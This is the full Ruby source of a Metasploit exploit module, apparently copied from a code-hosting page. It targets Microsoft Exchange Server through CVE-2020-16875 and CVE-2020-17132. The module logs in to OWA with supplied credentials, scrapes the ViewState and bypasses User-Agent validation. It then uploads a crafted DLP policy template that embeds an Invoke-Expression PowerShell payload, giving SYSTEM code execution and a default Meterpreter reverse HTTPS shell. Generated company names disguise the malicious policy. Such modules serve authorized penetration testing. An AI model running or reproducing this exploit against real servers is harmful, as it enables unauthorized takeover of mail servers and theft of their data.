274 lines
9.6 KiB
Ruby
274 lines
9.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
|
|
'Description' => %q{
|
|
This vulnerability allows remote attackers to execute arbitrary code
|
|
on affected installations of Exchange Server. Authentication is
|
|
required to exploit this vulnerability. Additionally, the target user
|
|
must have the "Data Loss Prevention" role assigned and an active
|
|
mailbox.
|
|
|
|
If the user is in the "Compliance Management" or greater "Organization
|
|
Management" role groups, then they have the "Data Loss Prevention"
|
|
role. Since the user who installed Exchange is in the "Organization
|
|
Management" role group, they transitively have the "Data Loss
|
|
Prevention" role.
|
|
|
|
The specific flaw exists within the processing of the New-DlpPolicy
|
|
cmdlet. The issue results from the lack of proper validation of
|
|
user-supplied template data when creating a DLP policy. An attacker
|
|
can leverage this vulnerability to execute code in the context of
|
|
SYSTEM.
|
|
|
|
Tested against Exchange Server 2016 CU19 on Windows Server 2016.
|
|
},
|
|
'Author' => [
|
|
'Leonard Rapp', # Patch Diffing and Analysis
|
|
'Markus Vervier', # PoC / Exploitation
|
|
'Steven Seeley', # (mr_me) for the original PoC and good discussions
|
|
'Yasar Klawohn', # PoC / Bypass
|
|
'wvu', # Module
|
|
'Spencer McIntyre' # Professional coat-tail rider
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-16875'],
|
|
['CVE', '2020-17132'],
|
|
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
|
|
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
|
|
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
|
|
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
|
|
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt'],
|
|
['URL', 'https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html'],
|
|
['URL', 'https://www.x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/']
|
|
],
|
|
'DisclosureDate' => '2021-01-12', # Original public disclosure: 2020-09-08, latest patch bypass supported by this module: 2021-01-12
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
['Exchange Server <= 2016 CU19 and 2019 CU8', {}] # December 2020 updates
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'SSL' => true,
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
|
|
'HttpClientTimeout' => 5,
|
|
'WfsDelay' => 10
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [
|
|
IOC_IN_LOGS,
|
|
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
|
|
CONFIG_CHANGES, # Creates a new DLP policy
|
|
ARTIFACTS_ON_DISK # Uses a DLP policy template file
|
|
]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(443),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/']),
|
|
OptString.new('USERNAME', [false, 'OWA username']),
|
|
OptString.new('PASSWORD', [false, 'OWA password'])
|
|
])
|
|
end
|
|
|
|
def post_auth?
|
|
true
|
|
end
|
|
|
|
def username
|
|
datastore['USERNAME']
|
|
end
|
|
|
|
def password
|
|
datastore['PASSWORD']
|
|
end
|
|
|
|
def vuln_builds
|
|
# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
|
|
[
|
|
[Rex::Version.new('15.1.225'), Rex::Version.new('15.1.2176')], # Exchange Server 2016
|
|
[Rex::Version.new('15.2.196'), Rex::Version.new('15.2.792')] # Exchange Server 2019
|
|
]
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
|
|
)
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Target did not respond to check.')
|
|
end
|
|
|
|
# Hat tip @tsellers-r7
|
|
#
|
|
# <link rel="shortcut icon" href="/owa/auth/15.1.2044/themes/resources/favicon.ico" type="image/x-icon">
|
|
unless res.code == 200 && %r{/owa/auth/(?<build>[\d.]+)/} =~ res.body
|
|
return CheckCode::Unknown('Target does not appear to be running Exchange Server.')
|
|
end
|
|
|
|
if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
|
|
return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.")
|
|
end
|
|
|
|
CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.")
|
|
end
|
|
|
|
def exploit
|
|
owa_login
|
|
create_dlp_policy(retrieve_viewstate)
|
|
end
|
|
|
|
def owa_login
|
|
unless username && password
|
|
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
|
|
end
|
|
|
|
print_status("Logging in to OWA with creds #{username}:#{password}")
|
|
|
|
res = send_request_cgi!({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
|
|
'vars_post' => {
|
|
'username' => username,
|
|
'password' => password,
|
|
'flags' => '',
|
|
'destination' => full_uri('/owa/', vhost_uri: true)
|
|
},
|
|
'keep_cookies' => true
|
|
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to access OWA login page')
|
|
end
|
|
|
|
unless res.code == 200 && cookie_jar.cookies.any? { |cookie| cookie.name.start_with?('cadata') }
|
|
if res.body.include?('There are too many active sessions connected to this mailbox.')
|
|
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
|
|
end
|
|
|
|
fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
|
|
end
|
|
|
|
if res.body.include?('Choose your preferred display language and home time zone below.')
|
|
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
|
|
end
|
|
|
|
print_good('Successfully logged in to OWA')
|
|
end
|
|
|
|
def retrieve_viewstate
|
|
print_status('Retrieving ViewState from DLP policy creation page')
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
|
|
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
|
|
'keep_cookies' => true
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
|
|
end
|
|
|
|
unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
|
|
end
|
|
|
|
print_good('Successfully retrieved ViewState')
|
|
viewstate
|
|
end
|
|
|
|
def create_dlp_policy(viewstate)
|
|
print_status('Creating custom DLP policy from malicious template')
|
|
vprint_status("DLP policy name: #{dlp_policy_name}")
|
|
|
|
form_data = Rex::MIME::Message.new
|
|
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
|
|
form_data.add_part(
|
|
'ResultPanePlaceHolder_ButtonsPanel_btnNext',
|
|
nil,
|
|
nil,
|
|
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
|
|
)
|
|
form_data.add_part(
|
|
dlp_policy_name,
|
|
nil,
|
|
nil,
|
|
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
|
|
)
|
|
form_data.add_part(
|
|
dlp_policy_template,
|
|
'text/xml',
|
|
nil,
|
|
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
|
|
)
|
|
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
|
|
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
|
|
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
|
|
'data' => form_data.to_s
|
|
}, 0)
|
|
end
|
|
|
|
def dlp_policy_template
|
|
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
|
|
<<~XML
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<dlpPolicyTemplates>
|
|
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
|
|
<contentVersion>4</contentVersion>
|
|
<publisherName>#{Faker::Company.name}</publisherName>
|
|
<name>
|
|
<localizedString lang="en">#{dlp_policy_name}</localizedString>
|
|
</name>
|
|
<description>
|
|
<localizedString lang="en">#{Faker::Hacker.say_something_smart}</localizedString>
|
|
</description>
|
|
<keywords></keywords>
|
|
<ruleParameters></ruleParameters>
|
|
<policyCommands>
|
|
<commandBlock>
|
|
<![CDATA[ & "Invoke-Expression" "#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}"; New-TransportRule -DlpPolicy ]]>
|
|
</commandBlock>
|
|
</policyCommands>
|
|
<policyCommandsResources></policyCommandsResources>
|
|
</dlpPolicyTemplate>
|
|
</dlpPolicyTemplates>
|
|
XML
|
|
end
|
|
|
|
def dlp_policy_name
|
|
@dlp_policy_name ||= "#{Faker::Company.name} Data"
|
|
end
|
|
|
|
def dlp_policy_filename
|
|
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
|
|
end
|
|
|
|
end
|